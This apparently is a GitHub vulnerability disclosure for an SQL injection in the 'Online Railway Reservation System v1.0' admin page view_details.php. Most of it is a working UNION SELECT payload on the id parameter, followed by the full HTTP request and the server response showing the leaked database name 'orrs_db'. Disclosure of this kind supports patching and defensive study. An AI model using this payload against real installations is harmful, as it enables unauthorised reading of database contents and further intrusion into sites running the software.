736335151 Create SQLi-1.md History

1 contributor

26 lines (19 sloc) | 1.12 KB

Online Railway Reservation System v1.0 by oretnom23 has SQL injection

vendors: https://www.sourcecodester.com/php/15121/online-railway-reservation-system-phpoop-project-free-source-code.html

Vulnerability File: /orrs/admin/inquiries/view_details.php?id=

Vulnerability location: /orrs/admin/inquiries/view_details.php?id=, id

dbname = orrs_db

[+] Payload: /orrs/admin/inquiries/view_details.php?id=-1%27%20union%20select%201,database(),3,4,5,6,7--+ // Leak place ---> id

```
GET /orrs/admin/inquiries/view_details.php?id=-1%27%20union%20select%201,database(),
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=hea24clorqs9kplqalqihp0ik4
Connection: close
```

```
GET
/orrs/admin/inquiries/view_details.php?id
=-1%27%20union%20select%201,database(),3,
4,5,6,7--+ HTTP/1.1
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT
10.0; WOW64; rv:46.0) Gecko/20100101
Firefox/46.0
Accept:
text/html,application/xhtml+xml,applicati
on/xml;q=0.9,*/*;q=0.8
Accept-Language:
zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie:
PHPSESSID=hea24clorqs9kplqalqihp0ik4
Connection: close
```

```
Pragma: no-cache
Access-Control-Allow-Origin: *
Content-Length: 868
Connection: close
Content-Type: text/html; charset=UTF-8

<style>
    #uni_modal .modal-footer{
        display:none !important;
    }
</style>
<div class="container-fluid">
    <div class="row">
        <div class="col-md-12">
            <dl>
                <dt class="text-primary">Inquirer</dt>
                <dd class="pl-4">orrs_db</dd>
                <dt class="text-primary">Email</dt>
                <dd class="pl-4">4</dd>
                <dt class="text-primary">Contact #</dt>
                <dd class="pl-4">3</dd>
                <dt class="text-primary">Message</dt>
                <dd class="pl-4">5</dd>
            </dl>
        </div>
    </div>
```

Load URL
Split URL
Execute

http://192.168.1.19/orrs/admin/inquiries/view_details.php?id=-1' union select 1,database(),3,4,5,6,7--+

Post data Referrer 0xHEX %URL BASE64 Insert string to replace Insert repl

Inquirer
orrs_db
Email
4
Contact #
3
Message
5

Close